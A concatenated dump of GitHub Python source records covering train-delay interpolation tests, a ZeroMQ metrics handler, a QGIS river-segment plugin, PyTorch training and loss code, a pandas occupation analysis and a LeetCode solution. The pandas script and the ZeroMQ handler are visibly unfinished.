0\n","repo_name":"NasterVill/BSUIR_Labs","sub_path":"6 term/DSIP-Digital-Signal-and-Image-Processing-/Lab 3/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"72"}
+{"seq_id":"460118249","text":"# coding: utf8\nfrom __future__ import unicode_literals, absolute_import, division, print_function\n\nimport mock\nimport pytest\nfrom hamcrest import assert_that, has_properties\n\nfrom common.apps.suburban_events.factories import ThreadStationStateFactory, EventStateFactory\nfrom common.apps.suburban_events.forecast import fact_interpolation\nfrom common.apps.suburban_events.forecast.fact_interpolation import interpolate_tss_path, interpolate_tss_states\nfrom common.apps.suburban_events.utils import EventStateType\nfrom common.tester.factories import create_rtstation, create_thread, create_station\n\npytestmark = [pytest.mark.mongouser, pytest.mark.dbuser]\n\n\ndef create_tss(arrival=None, departure=None):\n tss = ThreadStationStateFactory()\n tss.rts = create_rtstation(thread=create_thread(), station=create_station())\n\n if arrival is not None:\n tss.set_arrival_state(EventStateFactory(minutes_from=arrival))\n\n if departure is not None:\n tss.set_departure_state(EventStateFactory(minutes_from=departure))\n\n return tss\n\n\nclass TestInterpolateTss(object):\n @pytest.mark.parametrize(\n 'prev_late, next_late, exp_minutes_from, exp_minutes_to, arrival, departure',\n [\n [0, 0, 0, 0, False, False],\n [-10, -20, 0, 0, False, False],\n [11, 10, 11, 11, False, False],\n [8, 9, 9, 9, True, False],\n [1000, 100, 100, 1000, False, False],\n [12, 0, 1, 12, False, False],\n [1, 0, 1, 1, False, False],\n [8, 9, None, None, True, True],\n ]\n )\n def test_valid(self, prev_late, next_late, exp_minutes_from, exp_minutes_to, arrival, departure):\n prev_fact = EventStateFactory(type=EventStateType.FACT, minutes_from=prev_late, minutes_to=prev_late)\n next_fact = EventStateFactory(type=EventStateType.FACT, minutes_from=next_late, minutes_to=next_late)\n\n tss = create_tss()\n if arrival:\n tss.set_arrival_state(EventStateFactory(type=EventStateType.FACT, minutes_from=666))\n\n if departure:\n tss.set_departure_state(EventStateFactory(type=EventStateType.FACT, minutes_from=777))\n\n interpolate_tss_states(prev_fact, next_fact, tss)\n\n if not arrival:\n assert_that(tss.arrival_state, has_properties(\n type=EventStateType.FACT_INTERPOLATED,\n minutes_from=exp_minutes_from,\n minutes_to=exp_minutes_to,\n thread_uid=tss.rts.thread.uid\n ))\n else:\n assert_that(tss.arrival_state, has_properties(\n type=EventStateType.FACT,\n minutes_from=666,\n ))\n\n if not departure:\n assert_that(tss.departure_state, has_properties(\n type=EventStateType.FACT_INTERPOLATED,\n minutes_from=exp_minutes_from,\n minutes_to=exp_minutes_to,\n thread_uid=tss.rts.thread.uid\n ))\n else:\n assert_that(tss.departure_state, has_properties(\n type=EventStateType.FACT,\n minutes_from=777,\n ))\n\n\nclass TestInterpolateTssPath(object):\n def test_valid(self):\n tss0 = create_tss()\n tss1 = create_tss(arrival=None, departure=0)\n tss2 = create_tss()\n tss3 = create_tss(arrival=8, departure=10)\n tss4 = create_tss()\n tss5 = create_tss(arrival=18)\n tss6 = create_tss()\n tss7 = create_tss()\n tss8 = create_tss(departure=20)\n tss9 = create_tss(arrival=20)\n tss10 = create_tss()\n\n tss_path = [tss0, tss1, tss2, tss3, tss4, tss5, tss6, tss7, tss8, tss9, tss10]\n\n expected = [\n [0, 8, tss2],\n [10, 18, tss4],\n [18, 20, tss5],\n [18, 20, tss6],\n [18, 20, tss7],\n [18, 20, tss8],\n ]\n\n with mock.patch.object(fact_interpolation, 'interpolate_tss_states') as m_interpolate_tss_states:\n interpolate_tss_path(tss_path)\n\n assert len(m_interpolate_tss_states.call_args_list) == len(expected)\n\n for i, (exp_prev, exp_next, exp_tss) in enumerate(expected):\n call = m_interpolate_tss_states.call_args_list[i][0]\n assert_that(call[0], has_properties(minutes_from=exp_prev))\n assert_that(call[1], has_properties(minutes_from=exp_next))\n assert_that(call[2], exp_tss)\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"travel/tests/apps/suburban_events/forecast/test_fact_interpolation.py","file_name":"test_fact_interpolation.py","file_ext":"py","file_size_in_byte":4440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"17781735900","text":"# coding=utf-8\n\n\"\"\"\nOutput the collected values to a ZeroMQ pub/ sub channel\n\"\"\"\n\nfrom diamond.handler.Handler import Handler\n\nimport random \nimport time\nimport numpy\n\ntry:\n import zmq\nexcept ImportError:\n zmq = None\n\nclass zmqHandler(Handler):\n \"\"\"\n Implements the abstract Handler class.\n Sending data to a ZeroMQ pub channel\n \n Arguments:\n Handler {[type]} -- [description]\n \"\"\"\n\n def __init__(self, config=None):\n \"\"\"\n Create a new instance of zmqHandler class\n \n Keyword Arguments:\n config {[type]} -- [description] (default: {None})\n \"\"\"\n\n # Initialize Handler\n Handler.__init__(self, config)\n\n if not zmq:\n self.log.error(\"zmq import failed. Handler disabled\")\n self.enabled = False\n return\n\n # Initialize data \n self.context = None\n self.socket = None\n \n # Initialize options\n self.port = int(self.config['port'])\n\n # Create ZMQ pub socket and bind\n \"\"\"try:\n self._bind()\n except Exception as e:\n print(\"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\", e)\"\"\"\n\n def get_default_config_help(self):\n \"\"\"\n Returns the help text for the configuration options for the handler\n \"\"\"\n config = super(zmqHandler, self).get_default_config_help()\n\n config.update({\n 'port': '',\n })\n\n return config\n\n def get_default_config(self):\n \"\"\"\n Returns the default config for the handler\n \"\"\"\n config = super(zmqHandler, self).get_default_config()\n\n config.update({\n 'port': 1234,\n })\n\n return config\n\n def _bind(self):\n \"\"\"\n Create PUB socket and bind\n \"\"\"\n if not zmq:\n return\n \n #self.context = zmq.Context()\n #self.context = zmq.Context.instance()\n \n #self.socket = self.context.socket(zmq.PUB)\n #self.socket = self.context.socket(zmq.PUSH)\n \n #print(\"@@@@@@@@@@@@@@@@@@@@@@@@Zero MQ Port:\", self.port)\n #self.socket.bind(\"tcp://127.0.0.1:5555\") # %s\" % self.port)\n #self.socket.setsockopt(zmq.SUBSCRIBE, b\"\")\n \n #self.socket.connect(\"tcp://127.0.0.1:5555\") # %s\" % self.port)\n #self.socket.setsockopt(zmq.SNDHWM, 1)\n \n #self.socket.bind(\"ipc:///tmp/zmqtest\") \n\n #time.sleep(1)\n\n ctx = zmq.Context.instance()\n s = ctx.socket(zmq.REP)\n s.bind(\"tcp://127.0.0.1:5556\")\n s.recv()\n s.send(b\"GO\")\n #time.sleep(1)\n\n #self.socket.send_pyobj([1,2,3])\n #self.socket.send_pyobj([\"Hello\", \"Miltos\"])\n #time.sleep(1)\n\n def __del__(self):\n \"\"\"\n Destroy instance of the zmqHandler class\n \"\"\"\n pass\n\n def process(self, metric):\n \"\"\"\n Process a metric and send it to zmq pub socket\n \n Arguments:\n metric {[type]} -- [description]\n \"\"\"\n print(\"@@@@@@@@@@@Le Jibe\")\n if not zmq:\n self.log.info(\"ZMQ not available\")\n return\n\n try:\n self.context = zmq.Context.instance()\n self.socket = self.context.socket(zmq.PUB)\n self.socket.bind(\"tcp://127.0.0.1:5555\") # %s\" % self.port)\n \n self._bind()\n except Exception as e:\n print(\"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\", e)\n\n try:\n #self._bind()\n \n #ctx = zmq.Context.instance()\n #s = ctx.socket(zmq.REP)\n #s.bind(\"tcp://*:1235\")\n #s.recv()\n #s.send(b\"GO\")\n\n # Send data as ...\n # self.socket.send(\"%s\" % str(metric))\n print(\"```````````````````````````Where is ZeroMQ \")\n \n #self.s.recv()\n #self.s.send(b\"GO\")\n \n self.socket.send_pyobj([\"Hello\"])\n #self.socket.send(b\"Hello\")\n #time.sleep(1)\n \n \"\"\"for i in range(10):\n #time.sleep(2)\n topic = random.randrange(999, 10005)\n messagedata = numpy.random.rand(2, 2)\n \n self.socket.send_pyobj(messagedata)\n \n #time.sleep(0.1)\n print(\"Ready to Send PyObject #\", i, \" = ... \", messagedata)\"\"\"\n except Exception as e:\n print(\"---------------->\", e)\n \n \n","repo_name":"mvimplis2013/sysstats-collector","sub_path":"src/diamond/handler/zmq_pubsub.py","file_name":"zmq_pubsub.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"3240096144","text":"# -*- coding: utf-8 -*-\nfrom qgis.core import QgsProject\nfrom qgis.core import QgsProperty\n#from qgis.core import QCoreApplication\n\ndef createPolygon_func(self, selectedLayer, seg_ct, transectWidth):\n import processing\n root = QgsProject.instance().layerTreeRoot()\n\n extendWidth = transectWidth / 2\n\n #get active layer\n iface = self.iface\n alyr=iface.activeLayer()\n \n #remove old layers\n for lyr in QgsProject.instance().mapLayers().values():\n if lyr.name() == \"Transects\":\n transect_lyr=QgsProject.instance().mapLayersByName(\"Transects\")[0]\n QgsProject.instance().removeMapLayers([transect_lyr.id()])\n elif lyr.name() == \"Segments\":\n seg_lyr=QgsProject.instance().mapLayersByName(\"Segments\")[0]\n QgsProject.instance().removeMapLayers([seg_lyr.id()])\n elif lyr.name() == \"Centerline\":\n cl_lyr=QgsProject.instance().mapLayersByName(\"Centerline\")[0]\n QgsProject.instance().removeMapLayers([cl_lyr.id()])\n\n #Get length of river centerline\n #params = { 'CALC_METHOD' : 0, 'INPUT' : QgsProcessingFeatureSourceDefinition('G:/2ERDC02/GIS/Demo_Files_31Mar2021/NapaRiver_CL.shp'), 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n params = { 'CALC_METHOD' : 0, 'INPUT' : selectedLayer, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_len = processing.run(\"qgis:exportaddgeometrycolumns\", params)\n result_layer1 = result_len['OUTPUT']\n len=0\n for feature in result_layer1.getFeatures():\n len += feature[\"length\"]\n\n #calc segment length\n seg_len = round(len/seg_ct,4)\n\n #Get points with angle\n #params = { 'DISTANCE' : seg_len, 'END_OFFSET' : 0, 'INPUT' : QgsProcessingFeatureSourceDefinition('G:/2ERDC02/GIS/Demo_Files_31Mar2021/NapaRiver_CL.shp'), 'OUTPUT' : 'TEMPORARY_OUTPUT', 'START_OFFSET' : 0 }\n params = { 'DISTANCE' : seg_len, 'END_OFFSET' : 0, 'INPUT' : selectedLayer, 'OUTPUT' : 'TEMPORARY_OUTPUT', 'START_OFFSET' : 0 }\n result_pts = processing.run(\"native:pointsalonglines\", params)\n result_layer_pts = result_pts['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_pts)\n\n #Extend and rotate lines\n params ={ 'EXPRESSION' : 'extend(\\r\\n make_line(\\r\\n $geometry,\\r\\n project (\\r\\n $geometry, \\r\\n '+str(extendWidth) +', \\r\\n radians(\\\"angle\\\"-90))\\r\\n ),\\r\\n '+str(extendWidth) +',\\r\\n 0\\r\\n)', 'INPUT' : result_layer_pts, 'OUTPUT' : 'TEMPORARY_OUTPUT', 'OUTPUT_GEOMETRY' : 1, 'WITH_M' : False, 'WITH_Z' : False }\n result_rot = processing.run(\"native:geometrybyexpression\", params)\n result_layer_rot = result_rot['OUTPUT']\n\n #populate order id\n params={ 'FIELD_LENGTH' : 10, 'FIELD_NAME' : 'order_id', 'FIELD_PRECISION' : 4, 'FIELD_TYPE' : 1, 'INPUT' : result_layer_rot, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_rot = processing.run(\"native:addfieldtoattributestable\", params)\n result_layer_rot = result_rot['OUTPUT']\n params={ 'FIELD_LENGTH' : 0, 'FIELD_NAME' : 'order_id', 'FIELD_PRECISION' : 0, 'FIELD_TYPE' : 1, 'FORMULA' : '@row_number', 'INPUT' : result_layer_rot, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_rot = processing.run(\"native:fieldcalculator\", params)\n result_layer_rot = result_rot['OUTPUT']\n #remove existing Transects Layer\n for lyr in QgsProject.instance().mapLayers().values():\n if lyr.name() == \"Transects\":\n QgsProject.instance().removeMapLayers([lyr.id()])\n result_layer_rot.setName(\"Transects\")\n QgsProject.instance().addMapLayer(result_layer_rot)\n\n #Get starting points\n params = { 'INPUT' : result_layer_rot, 'OUTPUT' : 'TEMPORARY_OUTPUT', 'VERTICES' : '0' }\n result_sp = processing.run(\"native:extractspecificvertices\", params)\n result_layer_sp = result_sp['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_sp)\n\n #Get end points\n params = { 'INPUT' : result_layer_rot, 'OUTPUT' : 'TEMPORARY_OUTPUT', 'VERTICES' : '-1' }\n result_ep = processing.run(\"native:extractspecificvertices\", params)\n result_layer_ep = result_ep['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_ep)\n\n #connect paths\n params = { 'CLOSE_PATH' : False, 'GROUP_EXPRESSION' : '', 'INPUT' : result_layer_sp, 'NATURAL_SORT' : False, 'ORDER_EXPRESSION' : '', 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_p1 = processing.run(\"native:pointstopath\", params)\n result_layer_p1 = result_p1['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_p1)\n\n params = { 'CLOSE_PATH' : False, 'GROUP_EXPRESSION' : '', 'INPUT' : result_layer_ep, 'NATURAL_SORT' : False, 'ORDER_EXPRESSION' : '', 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_p2 = processing.run(\"native:pointstopath\", params)\n result_layer_p2 = result_p2['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_p2)\n\n #merge paths\n params={ 'CRS' : None, 'LAYERS' : [result_layer_rot,result_layer_p1,result_layer_p2], 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_lines = processing.run(\"native:mergevectorlayers\", params)\n result_layer_lines = result_lines['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_lines)\n\n #polygonize\n params={ 'INPUT' : result_layer_lines, 'KEEP_FIELDS' : False, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_poly = processing.run(\"native:polygonize\", params)\n result_layer_poly = result_poly['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_poly)\n\n #add number ID field\n params={ 'FIELD_LENGTH' : 10, 'FIELD_NAME' : 'order_id', 'FIELD_PRECISION' : 4, 'FIELD_TYPE' : 1, 'INPUT' : result_layer_poly, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_poly = processing.run(\"native:addfieldtoattributestable\", params)\n result_layer_poly = result_poly['OUTPUT']\n #QgsProject.instance().addMapLayer(result_layer_poly)\n\n #populate order id\n params={ 'FIELD_LENGTH' : 0, 'FIELD_NAME' : 'order_id', 'FIELD_PRECISION' : 0, 'FIELD_TYPE' : 1, 'FORMULA' : '@row_number', 'INPUT' : result_layer_poly, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_poly = processing.run(\"native:fieldcalculator\", params)\n result_layer_poly = result_poly['OUTPUT']\n \n #add SEGMENT fields\n params={ 'FIELD_LENGTH' : 10, 'FIELD_NAME' : 'SEGMENT', 'FIELD_PRECISION' : 4, 'FIELD_TYPE' : 1, 'INPUT' : result_layer_poly, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_poly = processing.run(\"native:addfieldtoattributestable\", params)\n params={ 'FIELD_LENGTH' : 0, 'FIELD_NAME' : 'SEGMENT', 'FIELD_PRECISION' : 0, 'FIELD_TYPE' : 1, 'FORMULA' : '@row_number', 'INPUT' : result_layer_poly, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_poly = processing.run(\"native:fieldcalculator\", params)\n result_layer_poly = result_poly['OUTPUT']\n \n \n #remove existing Segments Layer\n for lyr in QgsProject.instance().mapLayers().values():\n if lyr.name() == \"Segments\":\n QgsProject.instance().removeMapLayers([lyr.id()])\n result_layer_poly.setName(\"Segments\")\n QgsProject.instance().addMapLayer(result_layer_poly)\n \n #Create centerline layer\n #split centerline by transects\n params={ 'INPUT' : selectedLayer, 'LINES' : result_layer_rot, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl_seg = processing.run(\"native:splitwithlines\", params)\n result_layer_cl_seg = result_cl_seg['OUTPUT']\n \n #add length field\n params={ 'CALC_METHOD' : 0, 'INPUT' : result_layer_cl_seg, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl_seg = processing.run(\"qgis:exportaddgeometrycolumns\", params)\n result_layer_cl_seg = result_cl_seg['OUTPUT']\n \n #remove artifact segments\n params={ 'EXPRESSION' : ' \\\"length\\\" >0.1', 'INPUT' : result_layer_cl_seg, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl_seg = processing.run(\"native:extractbyexpression\", params)\n result_layer_cl_seg = result_cl_seg['OUTPUT']\n\n #match segments\n params={ 'DISCARD_NONMATCHING' : True, 'INPUT' : result_layer_cl_seg, 'JOIN' : result_layer_poly, 'JOIN_FIELDS' : [], 'METHOD' : 2, 'OUTPUT' : 'TEMPORARY_OUTPUT', 'PREDICATE' : [0], 'PREFIX' : '' }\n result_cl_seg3 = processing.run(\"native:joinattributesbylocation\", params)\n result_layer_cl_seg3 = result_cl_seg3['OUTPUT']\n \n #fix geometry\n params={ 'INPUT' : result_layer_cl_seg3, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl_seg = processing.run(\"native:fixgeometries\", params)\n result_layer_cl = result_cl_seg['OUTPUT']\n\n #add required fields to CL\n params={ 'FIELD_LENGTH' : 10, 'FIELD_NAME' : 'ELWS', 'FIELD_PRECISION' : 4, 'FIELD_TYPE' : 1, 'INPUT' : result_layer_cl, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl = processing.run(\"native:addfieldtoattributestable\", params)\n result_layer_cl = result_cl['OUTPUT']\n params={ 'FIELD_LENGTH' : 10, 'FIELD_NAME' : 'FRIC', 'FIELD_PRECISION' : 4, 'FIELD_TYPE' : 1, 'INPUT' : result_layer_cl, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl = processing.run(\"native:addfieldtoattributestable\", params)\n result_layer_cl = result_cl['OUTPUT']\n \n #remove extra fields\n params={ 'FIELDS' : ['order_id', 'SEGMENT', 'ELWS', 'FRIC'], 'INPUT' : result_layer_cl, 'OUTPUT' : 'TEMPORARY_OUTPUT' }\n result_cl = processing.run(\"native:retainfields\", params)\n result_layer_cl = result_cl['OUTPUT']\n\n #remove existing Centerline Layer\n for lyr in QgsProject.instance().mapLayers().values():\n if lyr.name() == \"Centerline\":\n QgsProject.instance().removeMapLayers([lyr.id()])\n result_layer_cl.setName(\"Centerline\")\n QgsProject.instance().addMapLayer(result_layer_cl)\n\n #run convex check function\n segmentLayer = QgsProject.instance().mapLayersByName('Segments')[0]\n self.convexCheck(segmentLayer)\n\n #run centerline check function\n segmentLayer = QgsProject.instance().mapLayersByName('Segments')[0]\n transectLayer = QgsProject.instance().mapLayersByName('Transects')[0]\n #centerlineLayer = selectedLayer\n centerlineLayer = QgsProject.instance().mapLayersByName('Centerline')[0]\n self.centerlineCheck(segmentLayer, transectLayer, centerlineLayer)\n\n #run symbology check function\n segmentLayer = QgsProject.instance().mapLayersByName('Segments')[0]\n transectLayer = QgsProject.instance().mapLayersByName('Transects')[0]\n #centerlineLayer = selectedLayer\n centerlineLayer = QgsProject.instance().mapLayersByName('Centerline')[0]\n self.symbologyCheck(segmentLayer, transectLayer, centerlineLayer)\n","repo_name":"LimnoTech/CEQUALW2geomTools","sub_path":"QGIS_plugin/cequal_bathy/create_poly.py","file_name":"create_poly.py","file_ext":"py","file_size_in_byte":10283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18141262465","text":"import torch\nimport time\nimport copy\nimport os\nimport pandas as pd\nimport numpy as np\n\ndef train_model(model, data_loaders, criterion, optimizer, scheduler, device, run_folder_path, num_epochs=25):\n since = time.time()\n\n train_acc_history = []\n train_loss_history = []\n val_acc_history = []\n val_loss_history = []\n\n best_model_wts = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n\n for epoch in range(num_epochs):\n\n print('Epoch {}/{}'.format(epoch+1, num_epochs))\n print('-' * 10)\n\n # Each epoch has a training and validation phase\n for phase in ['train', 'val']:\n if phase == 'train':\n model.train() # Set model to training mode\n else:\n model.eval() # Set model to evaluate mode\n\n running_loss = 0.0\n running_corrects = 0\n\n # Iterate over data\n for inputs, labels in data_loaders[phase]:\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward (track history if only in train)\n with torch.set_grad_enabled(phase == 'train'):\n outputs = model(inputs)\n loss = criterion(outputs, labels)\n\n _, preds = torch.max(outputs, 1)\n\n if phase == 'train':\n loss.backward()\n optimizer.step()\n\n # statistics\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n\n if phase == 'train':\n scheduler.step()\n\n epoch_loss = running_loss / len(data_loaders[phase].dataset)\n epoch_acc = running_corrects.double() / len(data_loaders[phase].dataset)\n epoch_acc = epoch_acc.cpu().detach()\n\n print('{} Loss: {:.4f} Acc: {:.4f}'.format(phase, epoch_loss, epoch_acc))\n\n # append the results\n if phase == 'val':\n val_loss_history.append(epoch_loss)\n val_acc_history.append(epoch_acc)\n else:\n train_loss_history.append(epoch_loss)\n train_acc_history.append(epoch_acc)\n\n # deep copy the model\n if phase == 'val' and epoch_acc > best_acc:\n best_acc = epoch_acc\n best_model_wts = copy.deepcopy(model.state_dict())\n\n # Store checkpoints\n CHECKPOINT_DIR_PATH = os.path.join(run_folder_path, './training_checkpoints')\n\n if not os.path.exists(CHECKPOINT_DIR_PATH):\n os.makedirs(CHECKPOINT_DIR_PATH)\n\n PATH = os.path.join(CHECKPOINT_DIR_PATH, 'weight.pth')\n torch.save({'model_state_dict': best_model_wts}, PATH)\n\n # Store training_logger\n logger_path = os.path.join(run_folder_path, 'training_logger.csv')\n loss_metrics = np.array([\n train_loss_history, train_acc_history,\n val_loss_history, val_acc_history])\n loss_metrics_df = pd.DataFrame(loss_metrics.T, columns = ['train_loss', 'train_acc', 'val_loss', 'val_acc'])\n loss_metrics_df.to_csv(logger_path)\n\n time_elapsed = time.time() - since\n print('\\nTraining complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n\n # load best model weights\n model.load_state_dict(best_model_wts)\n\n return model\n","repo_name":"davidlinn89222/self-driving-robot","sub_path":"tool/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"26938953197","text":"import pandas as pd\n# read csv file\ndf = pd.read_csv('usa_000002.csv.gz')\ncodes = pd.read_csv('occupation_code - Sheet1 (1).csv')\n# rename columns for code csv file\ncodes.rename(columns={'2010 Census Occupation Code': 'code', 'Unnamed: 1':'occ'}, inplace=True)\n# there are 552 different occupations.\n\n# only include necessary columns\ndf = df[['sec', 'occ', 'sex_sp', 'occ_sp']]\n# drop NaN values\ndf.dropna(inplace=True)\n# drop 0 values\ndf = df[(df != 0).all(1)]\n# drop mirror duplicates\ndf = df.iloc[::2]\ndf['occ'] = df['occ'].astype('int')\ndf['occ_sp'] = df['occ_sp'].astype('int')\n\nvalue_counts2 = pd.DataFrame(df['occ_sp'].value_counts())\nvalue_counts2.reset_index(inplace=True)\nvalue_counts = pd.DataFrame(df['occ'].value_counts())\n\n\n\nvalue_counts.reset_index(inplace=True)\n\ndf = pd.merge(left=value_counts2,right=codes, left_on='index', right_on='code')\nfirst_occ_count = df\nsecond_occ_count = df\n\nsecond_occ_count = second_occ_count[['occ', 'occ_sp']]\nsecond_occ_count\nfirst_occ_count = first_occ_count[['occ_y', 'occ_x']]\n\nfirst_occ_count\n\nmerged_occ_count = pd.merge(left=first_occ_count,right=second_occ_count, left_on='occ_y', right_on='occ')\nmerged_occ_count = merged_occ_count[['occ', 'occ_sp', 'occ_x']]\nsum_col = merged_occ_count['occ_sp'] + merged_occ_count['occ_x']\n\nmerged_occ_count['sum'] = sum_col\nmerged_occ_count = merged_occ_count.sort_values(by=['sum'], ascending=False)\nmerged_occ_count = merged_occ_count[['occ', 'sum']]\nmerged_occ_count.head(50)\n\n\n\n# merge code dataframe with occupation dataframe\n#df1 = pd.merge(df,codes,how = 'inner', left_on='occ', right_on='code')\npd.set_option('display.max_rows', 479)\n\nboth = pd.concat([df_count, merged_count], axis=1)\n\ndf.rename(columns={'sec':'sex', 'occ':'occupation', 'sex_sp':'sex_of_spouse', 'occ_sp':'occupation_of_spouse'}, inplace=True)\n\n\ndf = pd.merge(left=df,right=codes, left_on='occ_sp', right_on='code')\ndf\n\n# count how many people in each profession for both cols\nocc_x_count = data1['occ'].value_counts()\n\nocc_y_count = data['occ_y'].value_counts()\n# convert count to DataFrame\nocc_x_count = pd.DataFrame(occ_x_count)\n\nocc_y_count= pd.DataFrame(occ_y_count)\n\n# sort\n","repo_name":"juliachong/marital-occupation","sub_path":"too_confused_starting_over.py","file_name":"too_confused_starting_over.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"42341374025","text":"class Solution:\n def findDiagonalOrder(self, matrix: 'List[List[int]]') -> 'List[int]':\n if matrix == []:\n return []\n \n N=len(matrix) \n M=len(matrix[0])\n if N==1:\n return matrix[0]\n if M==1:\n return [i for x in matrix for i in x]\n diags=[[] for i in range(M+N-1)]\n for i in range(N):\n for j in range(M):\n diags[i+j].append(matrix[i][j])\n inorder=[x[::-1] if diags.index(x) % 2 == 0 else x for x in diags]\n return [i for x in inorder for i in x]\n","repo_name":"SheaML/LeetCode","sub_path":"DiagonalTraverse.py","file_name":"DiagonalTraverse.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"21915152060","text":"# coding: utf-8\n\"\"\"Test manager files.\"\"\"\n\nimport os\nimport abipy.data as abidata\nimport abipy.flowtk as flowtk\n\nfrom abipy.core.testing import AbipyTest\n\n\nclass ManagerTest(AbipyTest):\n\n def test_managers(self):\n \"\"\"Trying to read all managers files in abipy/data/managers.\"\"\"\n root = os.path.join(abidata.dirpath, \"managers\")\n yaml_paths = [os.path.join(root, f) for f in os.listdir(root) if f.endswith(\".yml\") and \"_manager\" in f]\n assert yaml_paths\n for p in yaml_paths:\n manager = flowtk.TaskManager.from_file(p)\n print(manager)\n shell = manager.to_shell_manager(mpi_procs=2)\n #assert 0\n\n def test_schedulers(self):\n \"\"\"Trying to read all scheduler files in abipy/data/managers.\"\"\"\n root = os.path.join(abidata.dirpath, \"managers\")\n yaml_paths = [os.path.join(root, f) for f in os.listdir(root) if f.endswith(\".yml\") and \"_scheduler\" in f]\n assert yaml_paths\n for p in yaml_paths:\n sched = flowtk.PyFlowScheduler.from_file(p)\n print(sched)\n\n #assert 0\n","repo_name":"abinit/abipy","sub_path":"abipy/scripts/tests/test_managers.py","file_name":"test_managers.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"72"}
+{"seq_id":"71954959273","text":"import math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\nif torch.cuda.is_available():\n FloatTensor = torch.cuda.FloatTensor\n LongTensor = torch.cuda.LongTensor\n ByteTensor = torch.cuda.ByteTensor\n\nelse:\n FloatTensor = torch.FloatTensor\n LongTensor = torch.LongTensor\n ByteTensor = torch.ByteTensor\n\nclass MaskedNLLLoss(nn.Module):\n\n def __init__(self, weight=None):\n super(MaskedNLLLoss, self).__init__()\n self.weight = weight\n self.loss = nn.NLLLoss(weight=weight,\n reduction='sum')\n\n def forward(self, pred, target, mask):\n \"\"\"\n pred -> batch*seq_len, n_classes\n target -> batch*seq_len\n mask -> batch, seq_len\n \"\"\"\n mask_ = mask.view(-1,1) # batch*seq_len, 1\n if type(self.weight)==type(None):\n loss = self.loss(pred*mask_, target)/torch.sum(mask)\n else:\n loss = self.loss(pred*mask_, target)\\\n /torch.sum(self.weight[target]*mask_.squeeze())\n return loss\n\n\nclass MaskedMSELoss(nn.Module):\n\n def __init__(self):\n super(MaskedMSELoss, self).__init__()\n self.loss = nn.MSELoss(reduction='sum')\n\n def forward(self, pred, target, mask):\n \"\"\"\n pred -> batch*seq_len\n target -> batch*seq_len\n mask -> batch*seq_len\n \"\"\"\n loss = self.loss(pred*mask, target)/torch.sum(mask)\n return loss\n\n\nclass UnMaskedWeightedNLLLoss(nn.Module):\n\n def __init__(self, weight=None):\n super(UnMaskedWeightedNLLLoss, self).__init__()\n self.weight = weight\n self.loss = nn.NLLLoss(weight=weight,\n reduction='sum')\n\n def forward(self, pred, target):\n \"\"\"\n pred -> batch*seq_len, n_classes\n target -> batch*seq_len\n \"\"\"\n if type(self.weight)==type(None):\n loss = self.loss(pred, target)\n else:\n loss = self.loss(pred, target)\\\n /torch.sum(self.weight[target])\n return loss\n\n\nclass SimpleAttention(nn.Module):\n\n def __init__(self, input_dim):\n super(SimpleAttention, self).__init__()\n self.input_dim = input_dim\n self.scalar = nn.Linear(self.input_dim,1,bias=False)\n\n def forward(self, M, x=None):\n \"\"\"\n M -> (seq_len, batch, vector)\n x -> dummy argument for the compatibility with MatchingAttention\n \"\"\"\n scale = self.scalar(M) # seq_len, batch, 1\n alpha = F.softmax(scale, dim=0).permute(1,2,0) # batch, 1, seq_len\n attn_pool = torch.bmm(alpha, M.transpose(0,1))[:,0,:] # batch, vector\n return attn_pool, alpha\n\n\nclass MatchingAttention(nn.Module):\n\n def __init__(self, mem_dim, cand_dim, alpha_dim=None, att_type='general'):\n 